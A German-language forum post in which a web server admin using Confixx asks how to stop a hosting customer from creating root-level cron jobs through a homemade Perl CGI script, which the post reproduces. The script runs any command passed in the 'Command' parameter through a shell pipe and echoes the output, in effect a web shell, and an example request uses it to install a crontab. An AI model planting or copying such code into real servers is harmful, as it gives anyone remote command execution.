ich habe ein Problem. und zwar habe ich auf meinem Webserver confixx laufen und ein confixxuser kann sich als root.ftponly einen cronjob per browser (über ein selbst gebasteltes script) anlegen.
wie kann ich das verhindern. da der owner des scripts ja root ist könnte man damit ja auch den server rebooten. ist ein riesen sicherheitsloch.
kann mir jemand helfen?
hier das script:
Code: Select all
#!/usr/bin/perl -w
use strict;
use CGI;
my $cgi = new CGI;
use CGI::Carp qw(fatalsToBrowser);
my @Feldnamen = $cgi->param();
my $CTIME = localtime(time);
open(COMMAND, $cgi->param('Command') . "|");
# Html-Ausgabe schreiben
print $cgi->header(),
$cgi->start_html('Vielen Dank für Ihre Bewertung');
print $cgi->h1('Ergebnis der Kommandoausführung :');
foreach my $Feld (@Feldnamen) {
print $Feld,
$cgi->b(' = '),
$cgi->param($Feld), "<br>";
}
while(<COMMAND> )
{
chomp $_;
print $_ . "<br>";
}
print $cgi->end_html();
Code: Select all
exec.pl?Command=crontab < cron.tab